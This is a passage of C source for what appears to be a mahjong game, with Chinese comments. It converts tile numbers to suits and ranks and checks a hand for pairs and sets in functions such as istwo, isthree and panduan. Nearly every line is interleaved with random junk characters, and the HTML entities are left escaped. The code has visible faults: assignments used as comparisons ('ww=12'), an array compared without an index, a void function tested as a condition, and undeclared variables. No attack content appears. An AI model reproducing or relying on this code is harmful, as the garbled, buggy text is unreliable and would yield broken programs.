else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)3 N" K0 y8 d  J* Z+ W
logoo=2;# f7 |; T: r. o' M  `2 d; j6 h: W% ]
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
' H3 m: T3 v0 x# X& \6 llogoo=3;2 C. f+ }) w9 M1 g3 [1 `+ S
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)$ n5 s! w) T- A) S2 r" ]" T3 S9 a
logoo=4;8 \+ `- c* u4 U
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
8 T3 G* C! W3 n6 c; Tlogoo=5;
( ?7 g0 ^- b( Z! W. pelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
) _; q6 q* Y; S- G" X# o  w  d! m! Mlogoo=6;" B. r% u3 {+ C1 A# b9 K
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)! H) _0 r' a9 W! \6 I2 e
logoo=7;
2 i- P2 _! A5 n) w/ Eelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)% m. [$ S. W8 m8 [
logoo=8;
1 @# w: K( m  G) welse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)+ I, m8 L  ~9 R8 a+ o
logoo=9;; k7 f/ t. @* A# h9 K
}
; ~  B, V# d& L4 ]else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)! I6 f4 X- U9 c2 @6 \
{. D  b4 U% \2 w% ]; Y: T2 d
logo=3;3 ~, F0 y. Q4 B: F: l0 k
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
' I/ F& G6 [9 g' ?logoo=1;
- g3 e7 j3 M. c6 d" p0 |3 T* felse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
+ }, w+ O/ G9 n( d7 z" nlogoo=2;
+ p3 I5 H  I5 T0 |else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
! O! M# Z- k/ [0 L4 [% G3 llogoo=3;1 I7 M$ H' }0 S) N
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)) R9 R! A+ S$ e: }4 `: C
logoo=4;
7 G+ N0 T9 k4 ~0 ^, delse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
) K# D2 d: J) T5 ylogoo=5;" ?8 }# R4 s# |' u
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)7 ^% }# Z* c8 N
logoo=6;3 r( U2 a4 `& {/ w
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)0 m9 v9 n( ~1 t( k! J
logoo=7;
& S' g5 s0 ^& ~2 F1 V" Jelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)* k3 L( k* }9 w5 f# e
logoo=8;
1 T3 D) n  {! ^/ b4 r& xelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)4 v3 ~  c" M( N% O. C
logoo=9;
* ]% K( m8 X# d) q- j( f0 K" B& V}) c$ L. K# K# M: |: ^# s
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108), F: |4 r# e% _
{" J6 B8 I; B; V  T' H- }1 C9 @
logo=4;
6 X1 g: [& S8 _. `# `2 d# \0 _) h# bif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)% |- }7 r+ @6 U. M. |
logoo=1;
! ^% y7 N0 N3 |, _& H" ^1 ?0 ielse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112): t  N6 _5 O3 N+ x* q
logoo=2;! L+ o$ g& H2 ^# n" r: c0 {3 @$ m
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
4 h4 C* |# T: V' o/ z' ]7 Z' ^logoo=3;8 ^* _/ w1 A" t8 o7 D5 V
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)* y! O) n) p# v4 B4 t
logoo=4;
( B6 G( v' t) [else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)7 b( m7 Y" a; k. U3 w
logoo=5;# {3 `7 n( `  h3 T, b% m8 l! n
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)+ p7 x4 R5 B" C0 w+ W0 s; q$ g8 E
logoo=6;
5 L0 Z2 b; t4 `else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)' Z! h- j% A6 {
logoo=7;
& U# e; h) u2 N4 e' J. s9 C}
6 V3 c* r% i! A, S. Vwhile(b&lt;=me.m)
) G- F* O: v5 P/ {" I- O; u+ d% b{
0 v; x  D% o2 z- h; [- w2 k0 Lif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
3 A% ^2 ]! ~" a! L7 e# ?( r7 k{2 s1 S* [& L4 [" |% H. {3 j
lg=1;
6 ]1 ~9 f0 W1 s) ]' \8 ime.pp.d[0]=1;
' Q4 q9 |5 n% ?/ \7 p: Mif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)7 v) q# i* ]/ y0 U
{4 }% _: C" w! _. i& u5 y6 |
lgg=1;
) Q; x; a; M9 `+ h; b; }8 Gme.pp.d[1]=1;
3 m! R: C5 n0 q4 x$ {/ q0 F}
+ {* q. J0 b3 i% I/ C( m- selse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
. `) x" l7 n1 d0 ^{
! w& y' h- z) {lgg=2;
# B4 r8 A6 D. }, Mme.pp.d[1]=2;: v& h& @. q* b
}
9 u  P) M5 _* K3 n' {else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
3 K8 P& z: o. a{4 l/ t' }+ K1 Z$ x$ t- {. c1 j8 W5 v+ I
lgg=3;
3 l0 V# d) ^9 z9 Qme.pp.d[1]=3;) I' ~1 ]& y+ P# C& s
}
& S: i# I0 |! telse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)! O4 a$ H; [* R4 Z7 w
{
' A+ m2 _5 M3 Z7 T$ |( m+ t; zlgg=4;
3 A( |, V# ~; d* ?) p. tme.pp.d[1]=4;
1 u7 U; ]" z1 o' c}
' z1 @# D/ ^# o" Helse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)" v6 R. K7 b7 y1 v) y
{
# f/ Q3 I2 n7 f1 g8 Z) Z3 M1 llgg=5;
3 n$ I. ?% M8 m4 E/ V4 J4 D) gme.pp.d[1]=5;5 S; Z# d) w& c3 }+ A, J8 i. T
}# I1 S" h4 h8 \& }
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
- H" D3 f# y2 x; ~. j{
1 v' v6 T% b/ z- F) k0 ]( Algg=6;1 R4 ?; P# c, R5 ]0 \4 g
me.pp.d[1]=6;9 t9 X# n7 z4 m; N5 ^' X
}
7 D$ A; c  |* h7 p0 @) Z. x5 D% Zelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
2 M, h1 |  \$ E. R" [; l! ^{
4 V) p8 M/ E7 ^5 d% r" Glgg=7;: i4 |) ?8 q  H* v& W; a5 i* J
me.pp.d[1]=7;
: l8 a% w& j4 o; b5 {}
  G! E3 M- z: z4 l0 Ielse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
8 J2 e9 A+ Q" S6 H{
+ a, x  X  n6 E3 e+ A# [0 }lgg=8;
6 }7 e$ o0 a  r; L0 R) Nme.pp.d[1]=8;
9 X5 n: `& @" a% N9 E$ C}5 ?: K& b7 Q: G5 @5 P( B' V
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)/ l, [6 f0 U% W
{
' T+ r+ h7 e. Y3 p1 U3 ]lgg=9;
% Y/ v/ [5 m1 H. G0 [me.pp.d[1]=9;4 }" Z# V. O% |4 y
}
4 k+ I7 B/ S2 V6 i$ H: y}
  w4 \/ a7 B: Gelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)" N8 M' C0 r& l/ E  ]
{/ ]( u2 {% g! A
lg=2;
0 }( ?* s  @3 {: n2 l4 ~me.pp.d[0]=2;+ ]- {5 R# ^. i0 X* {. ^: e/ M: b
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)0 U8 n1 M* y- x
{' Z" _; I; p3 r, b8 D( A
lgg=1;  W9 g) |+ Z( r/ Z
me.pp.d[1]=1;
, K" a9 p* Q" F# d( U; \}
- m3 R6 n; a- \3 [+ W3 uelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
0 U5 G/ O0 Y$ M! ]5 I2 R7 K% _{0 v! B2 a0 q: ^9 h( Z
lgg=2;
6 w6 E9 U5 D+ \: I; ]) w7 J' ^me.pp.d[1]=2;1 \& Z$ s% D1 p& D
}. o# @" e  P8 Z- E1 C
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
/ G# c: {: N2 Q; ]{1 P5 N3 q/ O8 m* ?
lgg=3;/ D" }" K- a" z9 Y* `  O, w; ^' G
me.pp.d[1]=3;
7 D5 {* b' I- Q& b) v" S4 O# ~}
; K# h& u! H5 P! d5 \6 k  p, W6 velse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)6 M4 Z% l2 ]: i" d7 J6 E$ ~
{
* |6 e6 `" r2 U0 h4 xlgg=4;
4 L0 \1 n. l+ G7 V% [me.pp.d[1]=4;
8 ?4 z6 M) E' {! i, d}
) p" m& g6 W. c+ i; `3 W- n/ F" f3 O% Selse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
# e! j: c0 {) L$ Z. J4 G: o{- M; d/ ~1 i' X
lgg=5;
7 _/ r4 J( F8 Ome.pp.d[1]=5;! u! j1 d9 K9 e1 D* ?) m% q& Q
}
8 s& t+ G! C" f8 F- |- V# selse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
# J. l; b) U1 w; V{4 ]  V+ G: d# o' P: p
lgg=6;" E$ F, t; s8 P6 q6 M
me.pp.d[1]=6;" Z2 Y0 L- h0 n( j
}3 i. |2 ^- {  a# X
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)( `- E, @* K1 c, t' [5 ~. }, F) x
{) Y0 ~" \; L; s2 I( s2 M0 @
lgg=7;
4 Q+ z, G% j7 O, t% _3 fme.pp.d[1]=7;# p: U9 Y/ K- V
}- G4 o. i2 G9 U5 p  }
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
+ T5 [" r; X; y{6 t: T! n4 D* p( ~: ]
lgg=8;7 h* l: h, D) t$ M% u" }" X( F
me.pp.d[1]=8;+ u! a1 u! ~3 u) \
}
5 u! j; h& K8 R# w: o& ?  m) helse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
- _0 H; c8 h( t" f1 R{0 j0 S5 J8 Q3 @+ G: Z4 B
lgg=9;
+ `8 f8 M! y. L( l/ h  Q& `. wme.pp.d[1]=9;
# q( _7 V9 _& a& U% n}+ i. ]) X( f1 _3 V+ ^
}
# n1 ~/ I" c: m1 E' K" ]else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
( G1 x1 V0 R6 \; L6 Y{- q" }" F, d, }( f3 N% N
lg=3;
9 o1 i8 V, K) \3 D! X3 ~me.pp.d[0]=3;
6 S1 f6 h# p8 M0 n% S  Q- Dif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
. b. V0 o8 V- v% N{/ T$ E, x! A+ s2 A) d/ L
lgg=1;7 ]# o' T- _3 c3 p; X( m
me.pp.d[1]=1;' B' I  B! m$ @+ Z
}. Z: s6 q: t" H9 R5 F4 g
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
$ Z  A" b" G, t: n1 N5 ~{5 S) D4 x6 i+ N# O/ u
lgg=2;; F) J4 b) ~4 g( X
me.pp.d[1]=2;
" |6 X" a8 P+ l# }}! E+ S! M7 {8 M6 `$ J( p& N& ]
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
. O0 x( _% W, O1 v6 ~; i{
/ \, B/ |. m8 x4 x' G6 o5 h+ }lgg=3;
) ^# H3 U, x5 u1 J$ ?' n5 u3 ?me.pp.d[1]=3;
- k; t* J1 O" c0 r7 ?. U}) P$ w& f! e$ B# I5 r% M
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)+ @1 w) R0 b/ q! I  z
{
7 B$ n( J# n* A# P% B! h. dlgg=4;8 [& y7 j' J! G
me.pp.d[1]=4;
% `+ x! n5 I# O' @1 ^1 n}8 c8 D& ]- L0 n2 A1 `* q
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
0 r9 W8 j6 }# G  Q/ ]{" n$ Z, ], c  b
lgg=5;
+ \5 O$ ^+ a6 F+ Ume.pp.d[1]=5;
& c* L& m$ n( D& _}: a% f2 I. ]: f2 c/ z: ?4 D
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)5 [. k! }9 {2 D& w9 V8 W. u" U( }
{. u- W, A. P. g7 |6 Y' V$ e) F
lgg=6;. k: S! O/ j, _5 k6 f0 @
me.pp.d[1]=6;& K% w2 s3 O6 O/ w/ S% l  h
}5 L1 U: k" h" X+ g* l
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)' ^  _4 I, L: r# F/ C# A
{
- H0 e6 z# e) v2 s9 R. Llgg=7;
' w. y5 r' T' l  Xme.pp.d[1]=7;
+ i6 i/ {; Q" U" n' _}' r3 C( |. P8 \- t
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)7 i3 ^2 L9 D5 k) y
{4 E  b$ o+ K/ z3 @# f4 m  S! W" g  O0 M1 }
lgg=8;
% Y3 R. O  D. P2 q, \me.pp.d[1]=8;
' j+ I1 ~5 b! S, w3 Y7 E6 K}
/ F; D' P2 m, o8 p' Velse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
5 J% ], z* [; p6 C# ]7 m* E{
; x, b3 G! }9 c; d' {2 W% e; ^lgg=9;
+ e8 O+ f5 q/ [& T3 |* ~, pme.pp.d[1]=9;/ a8 D+ T: B2 Y5 ^
}/ e" r6 `4 A" a6 a$ I: A
}
2 F0 y1 I6 ?2 Z7 R1 Belse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)5 a3 n& W: C0 a& \. t
{5 x2 b4 I% ?* Q( U
lg=4;) Z4 u; j1 l! `. g
me.pp.d[0]=4;
) m- w; M: f# u2 Hif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)% c6 X  s. u  O5 w2 C8 n
{
* m( j& s' q6 p) @6 _lgg=1;
$ R  h1 q7 a% ~7 i$ y  pme.pp.d[1]=1;4 u' O2 |2 R  }
}
) v# Z. I! E% H2 i0 delse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
+ B1 @7 z( ]6 b7 P: F9 X{% `5 y% n9 L) M; ]7 K0 n
lgg=2;
5 T, t! n( X: a# Kme.pp.d[1]=2;  D  E6 i' z1 W
}5 c4 a* D2 W! f
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
0 E, R8 s- L/ n' G+ @{* B: d/ U0 I. f
lgg=3;- o/ `/ \0 _- B# [& A4 G$ K+ ]+ P
me.pp.d[1]=3;
+ {/ Y0 I7 v' h+ {/ i' T}- a# U1 w3 ?: g1 e8 J+ z7 G
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
! Z& N7 B: `! @: `! M{! V; A; @2 u( |( {9 G
lgg=4;
/ U: }& h- A8 }% F6 sme.pp.d[1]=4;
$ U( b# t% Y8 ?4 w% ]1 t6 n9 s}
$ A: _1 ]4 I, `else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)5 V) m+ ]0 f! R( y! Z) l5 D
{. T9 o4 a5 i* |% `
lgg=5;; x0 P! }$ e  }! W$ o$ m- z. V
me.pp.d[1]=5;/ T- K6 x1 t& y8 e) W; ?0 x  U+ A
}3 _7 N2 K, Y: l
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
% @+ o; u/ O, R4 F& f) o1 C2 ]* h{
, d1 r" G9 [. _% A2 dlgg=6;2 u/ _( a% J& v- u" b
me.pp.d[1]=6;- q2 ^! A# x. z" p% h7 M
}( s. s/ i  A. D9 c6 ~3 |! u4 I
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
% A) @! s: c3 w{
. h/ \* l& q6 w0 j, m/ wlgg=7;1 S) ^9 K7 Q0 ~" Z& W: j$ \, J
me.pp.d[1]=7;4 j& i0 m  L% p0 \: r7 C* s, D+ p
}
' s5 n/ b8 P$ z: ?}/ q- V- q/ z, I/ S  x) Y/ Q  A
}
& u* ^' S% u) Y$ l}
  ]" k, H8 N" y1 j" L+ Q) Dvoid istwo(testt)+ v) r' G8 _6 R/ D5 q
int testt[];
% b2 F0 a$ o/ ]* [6 e+ g' v{ if(testt[0]==testt[1])
3 ?/ Z2 V5 @1 k$ C& L$ Jsecond++;* F. `: Z- N/ `& E$ e
}0 ]0 |# X& c3 e' R
void isthree(testt,n)
* S6 a* `/ A: V. Y' K$ U- Fint testt[],n=0;! X# S3 S8 g/ `$ c
{ int i,j,flage=0,lianx=0,same=0;
( G9 U' `; B8 I# N  nn=n/3;
# x+ U! b+ s6 [; I; N' Sfor(j=0;j&lt;n;j++)
8 b5 ]) t/ @' k+ g8 t8 u: `{! |. L. [) C2 R. z* V1 R9 }
for(i=j*3;i&lt;2+j*3;i++)8 E; G8 j* C# t$ v1 g
{& F+ s$ n: Y' O( D+ y3 P
if(testt==testt[i+1])  w9 h' E2 e9 {2 S
same++;
6 A/ Z8 \6 I5 U* L  r/ _$ n. G5 v. Kif(testt[i+1]-testt==1)( ]- i+ ?! _5 h
lianx++;
1 p3 ^5 V* i3 V( S}( o% }" C/ O2 z/ \) e) W) @
if(same==2): T" K; X5 g# L( N8 K- J. K
threes++;
) s( v! t+ P6 s! Q4 a5 V: ?! s* Kif(lianx==2)
9 M+ V! l3 z) t8 @* }threes++;
# j4 g; a2 \# k% Isame=0;4 P( Z8 m$ Q# v) Q# @
lianx=0;. `. L8 T' o0 [. T
}+ {0 q% y5 t0 |
}
4 y5 {* c4 Z) l- Hvoid panduan() /*本程序的精髓*/, K/ S) h9 I7 \9 U4 ]* `
{int data[14];
! i1 K3 F5 ^$ _8 Q4 _: {7 ^" Xint pw[14];
5 B* r8 _+ J4 I: @int pt[14];
' ^9 J& q$ }: j/ E  r" G' Yint pi[14];
' }3 \5 \9 R& [- t$ mint pf[14];
) J8 J8 R# s. y6 Sint test[12];6 u1 T5 K$ W* G0 V: z7 N7 W' h7 i
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
6 f& l6 |7 F. R0 N, q! F0 J0 cfor(jj=0;jj&lt;=me.m;jj++)
6 P- Z; m% j4 G4 H! g{
, x. c) R5 `1 `- Q& f9 Oif(me.pp[jj].d[0]==1)
" I) r. _2 M; a  hdata[jj]=me.pp[jj].d[1];" @2 V" C4 k. H9 |4 g0 \* u
if(me.pp[jj].d[0]==2)
- \1 k, r' w" \2 b3 E& D9 P+ ndata[jj]=me.pp[jj].d[1]+10;* g3 u3 E0 ~4 S6 L% w
if(me.pp[jj].d[0]==3)5 H; Y7 ~0 ~! `
data[jj]=me.pp[jj].d[1]+20;
' g4 ~. n6 a  Y2 D8 H% q( I$ I& X3 Yif(me.pp[jj].d[0]==4)+ G' |+ {4 ?% u* y& _0 C, }
data[jj]=me.pp[jj].d[1]+30;1 y) a( c9 _3 F. e/ J0 _
}5 M" |4 a! {! G3 n  \4 |
if(logo==2)
" C+ e$ ]) G) c9 q" {( r0 `w=logoo+10;. @" `* o) `! o% w$ K
if(logo==3)1 f, }' O. n; G2 X" ^% u
w=logoo+20;
, o) v' h0 ]; q( U' B# Dif(logo==4)/ C6 W: _; M5 ?% S4 j/ K6 l0 p
w=logoo+30;
8 S& {0 k0 j  E& Fdata[computer.m+1]=w;& u0 d, T7 j# l0 F
for(mm=0;mm&lt;=computer.m;mm++)0 V8 c% ~9 T4 ]/ \8 o
for(nn=mm;nn&lt;=computer.m;nn++)" I( \. |4 E) W4 R$ s: B5 _
if(data[mm]&gt;data[nn+1])
  w# ]' U$ A' t{6 w. [5 C; d/ |$ C
tpp=data[mm];+ X$ K1 p/ w8 C( D
data[mm]=data[nn+1];- p& R$ ]$ J7 ~# i; w8 \
data[nn+1]=tpp;' Q' d: ]" m. ^
}
. ?5 C. w; \4 Vlp=0;. c: n4 K$ g9 z6 }, D
while(lp&lt;=computer.m)
$ X; X& x. d, U: L) v4 g+ Z{ if(data[lp]&lt;10)) H( v% v" @! l
pw[ww++]=data[lp];4 z- ?/ V+ b/ h0 m, O# n& M
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
( r" [) ?" _; N) @) spt[tt++]=data[lp];+ a* ]) v% y9 l, W! P! m& L2 J, R
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
4 _, j3 a8 K& v- m: t: r' ipi[ii++]=data[lp];* v! _5 Z, ^* A
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
# G4 k. ~. k+ S; Q) ~% R9 Cpf[ff++]=data[lp];2 j+ B/ R: @; {3 R) [
lp++;
% b5 R: m. Q) m5 |5 o& U5 W1 b}  e- c* B( M  z' S- C/ s
if(ww==2)$ X" \: B0 e* }* K1 p+ X
istwo(pw);
5 a7 X% t7 F, U( Q9 k( Welse if(ww==3)4 d$ x6 @, \5 G" {0 i' x6 \# x
isthree(pw,ww);4 W2 x$ X* j( Q0 i  P. I( U
else if(ww==5)7 {; l# s; {& v3 r5 ~# k" r9 J
/*pw[5]原始牌数组,假设已经升序排列*/
2 ]# o  b" o7 ?& Q/ }  y/*test[3]用来放置测试牌的数组*/0 p, A# f8 ?, y1 s2 `8 M
for(i=0;i&lt;4;i++)
7 B, F# \  S! B# u. ?{& [4 d( G0 g6 V# H1 F  W
for(j=0;j&lt;2;j++)
# n& U; I1 {+ W$ N; F5 u{test[j]=pw[i+j];
1 [- A( |1 n$ L4 a( k) N}& C2 G% r: K2 z  I+ E3 y
if(istwo(test))
* L8 @; ^! c2 N' M& `. B{ ill=0;
9 z7 O+ V; m! ]/ B. \2 [0 S& j' Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
7 S9 A' j2 K+ N% w: f{if(kl==i)
/ l0 r3 l. ^- K. ~& d{
$ F1 L- @) {3 ]! G; a( R2 z1 ?kl=kl+2;
1 M6 v% G  w3 P1 ~) E  ^* Dif(kl==5)* {+ f9 c8 v% v# \# v8 P3 a
break;
4 {8 _: c; ?1 W}5 R2 M" [9 y& E% s
test[ill++]=pw[kl];5 z& b# J  j: G, t3 ~' {
}
2 i) f6 t) o( n: g7 k! Tisthree(test);
6 W! E' a* O" G}4 q0 X- c' v" Q4 Q' M; N
}% d/ N4 F, o2 P
else if(ww==6)
7 n  ]2 w% a, Gisthree(pw,ww); ; q# F1 c6 g$ b! w! q# R
else if(ww==8)0 k# A( J7 l( H6 ^$ a
for(i=0;i&lt;7;i++)
! u* j1 T" k' ^- t{
4 k  ?& J0 {8 k: ~for(j=0;j&lt;2;j++)
; N4 P6 h. G; i/ X{test[j]=pw[i+j];
) f4 m3 Z7 ?( w: t7 N  v: Z( `9 W8 b}
, q' s- j* e2 H6 _/ x% Eif(istwo(test))8 x/ h" L3 m2 E2 \3 A2 l3 A6 J
{ ill=0;  y* N* W/ e6 H8 {6 P8 M; M9 p7 |
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/% x) q  v6 J2 a
{if(kl==i)
& B- \% k5 ]- D2 d1 c4 |  y{
) O+ s6 Y1 u5 A4 W0 K5 F$ \kl=kl+2;
/ i4 a' s, e& Z+ h+ E5 jif(kl==8)% n  j; y9 |8 P: d5 T: f
break;
% n! d/ A% T! B6 j$ C}
* `# b% ~* m" B* Z% ^9 Q0 wtest[ill++]=pw[kl];
( Y+ V. V# Z! a' o}1 B7 e/ q7 n5 R- v. B+ K. [8 ~: c/ I2 h: @
isthree(test,ww-2);
7 S# z1 c  E0 B3 g. ^2 g' y3 b+ Y}
3 S2 H5 @# R, f, F0 j}
# p/ W  Q# x7 G7 \4 Helse if(ww==9)1 I6 f+ l" t! @, J/ Q6 L1 I9 y
isthree(pw,ww);
/ R- R  U1 D: a: helse if(ww==11)- {! A8 W* D; ^5 ?
for(i=0;i&lt;10;i++)
8 o9 X/ \0 D' }3 X5 n' S{/ A! D; o# a% P6 ?
for(j=0;j&lt;2;j++)6 z% y& U3 g8 d4 d( o
{test[j]=pw[i+j]; ) l: F- U0 N( E4 o; J' O
}! }# d$ L+ d, _
if(istwo(test))
7 _7 F! S+ }3 ?3 N, u{ ill=0;
/ `3 T) p6 Y+ `4 |' F, Z& Y1 ]for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, I; c8 Y0 q. B9 n- g* |{if(kl==i)
9 E/ G' R8 \- E6 t6 c{
$ t1 L7 @0 b* ]" S, u: z0 w# Jkl=kl+2;% J( k) d' `* ^; H8 F2 b7 Y
if(kl==11)3 s9 f" x3 t" p5 `& T( l2 h4 f
break;
/ y% S4 g" ^6 e& ]5 i}
' z% ~7 n) ?! E- ~2 R  ?9 j& p6 ytest[ill++]=pw[kl];
+ P2 M: ~% }  g0 V5 _% Q}' d5 |8 W. {, W5 G
isthree(test,ww-2); ) w& P  g' R: u2 d
}
' O; K& `2 A( Y. I3 y7 _' ~7 R/ J} " }) ^* D$ h" }1 X* i1 d. Z
else if(ww=12)
* k! |9 F( R1 v/ U, X6 C+ _isthree(pw,ww);
  l4 g3 R- h  belse if(ww=14)
( a9 @9 s3 i6 V! Jfor(i=0;i&lt;13;i++)
" S  L4 k9 d; M2 ?6 p: M( T0 W. z{$ @2 i. ]3 \" a# h9 G$ {+ T
for(j=0;j&lt;2;j++)
8 y* o) X: i  F' H& ]{test[j]=pw[i+j];( [" q6 ]* I& b1 `1 y! s
}
8 C* I9 B; S" n  a/ tif(istwo(test))4 P2 `  l$ q0 k" A* F! U
{ ill=0;! @; @  v, d+ p! H6 T
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( h$ p, U4 l5 n3 r/ R# h9 @7 j
{if(kl==i)
% }( |8 P7 P* O7 [/ n{4 L- i0 u5 b* o2 M. c
kl=kl+2;
5 W& }8 F( ~9 d+ `if(kl==14)+ S8 |1 i6 \* g; _5 C5 _5 }. K
break;: u: A% H) g" ?# O
}
7 G. c" C9 l  M$ B, M  n" stest[ill++]=pw[kl];
8 P$ P! f' u' U+ U- B}# J/ E; B6 q/ C
isthree(test,ww-2);
0 G- _& K, a& @% k: _}/ d- d. Q! W3 O0 [1 }* m+ Z
}  [. G0 h) |. F. E4 }: P
if(tt==2)/ x3 z" Y' U! ?8 g4 j7 L; F
istwo(pt);  W) ]: w5 |# A9 m2 J
else if(tt==3), k$ h; W! I6 t8 Z
isthree(pt,tt);. D" Q! o) @4 B  i$ i
else if(tt==5)
& G5 ]3 ?, j* o, o/*pt[5]原始牌数组,假设已经升序排列*/# e; v" [$ N7 T6 e+ g) e
/*test[3]用来放置测试牌的数组*/) _9 `7 T* b9 e# X+ k& g/ k
for(i=0;i&lt;4;i++)) k% r* g; N% @8 ?7 f' I
{
4 E, D. R1 n/ R) S3 wfor(j=0;j&lt;2;j++)
5 E. Y) f6 w' y- Z  E{test[j]=pt[i+j]; 1 s  B+ F0 ~5 P; N8 n! p
}
! f$ p  f$ R5 C' c  [4 kif(istwo(test))8 Z0 i9 _/ w7 x
{ ill=0;* `: @  P. t. G
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/, w2 i  w' b% @' h  Z0 v  r
{if(kl==i)' c9 _# N0 G' D9 M( ]7 p
{; p2 P- |4 m1 E9 n
kl=kl+2;
3 ]0 L( Z! ~: E$ y  s( Qif(kl==5)
& u, p# ~+ B+ j% w0 n& {8 v) Ybreak;
; ], Q+ C9 x( o0 g; K+ |9 K}
0 K0 I- \3 j3 g) p/ K; Itest[ill++]=pt[kl];, f9 a9 Z6 U8 e- w
}8 u; F0 ]( Z! ?/ V- D8 O8 I* }
isthree(test);7 }4 _9 D* q& {- \0 c
}% E: U3 t8 L3 q# v& o' [8 W
}
, [4 F4 k0 r5 A3 h5 X9 [else if(tt==6)
. K/ f' U% A" [) j$ ?7 Eisthree(pt,tt); # o9 a# l# h  q
else if(tt==8)1 i1 G6 L  \& O
for(i=0;i&lt;7;i++)7 z3 l8 X+ o; L; }  R2 Z
{1 `' U5 I! e, d1 u. |* o
for(j=0;j&lt;2;j++)
) l. V- l$ G/ ?4 U; n# f- Z$ Z- B{test[j]=pt[i+j]; " _6 z. a+ J: n7 h  M! g
}' |# w( |- z; H7 _( M% _6 I, @
if(istwo(test))' ~: t, u, e6 O
{ ill=0;
- D; q& h, P7 Z2 o, C! Lfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
